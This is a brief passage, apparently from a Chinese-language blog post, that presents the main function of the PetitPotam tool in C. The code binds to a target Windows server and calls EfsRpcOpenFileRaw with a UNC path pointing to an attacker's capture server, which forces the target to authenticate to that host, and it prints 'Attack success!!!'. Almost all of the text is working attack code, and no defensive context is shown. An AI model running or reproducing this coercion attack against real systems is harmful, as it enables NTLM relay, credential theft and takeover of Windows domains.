PetitPotam——另一种方式触发Windows主机认证

int wmain(int argc, wchar_t** argv, wchar_t** envp)
{
  wprintf(L"Usage: PetitPotam.exe <captureServerIP> <targetServerIP> \n");
  handle_t ht = Bind(argv[2]);
  HRESULT hr = NULL;
  PEXIMPORT_CONTEXT_HANDLE plop;
  SecureZeroMemory((char*)&(plop), sizeof(plop));
  wchar_t buffer[100];
  swprintf(buffer, 100, L"\\\\%s\\test\\topotam.exe", argv[1]);
  long flag = 0;
  hr = EfsRpcOpenFileRaw(ht, &plop, buffer, flag);
  if (hr == ERROR_BAD_NETPATH) {
    wprintf(L"Attack success!!!\n");
  }
  return 0;
}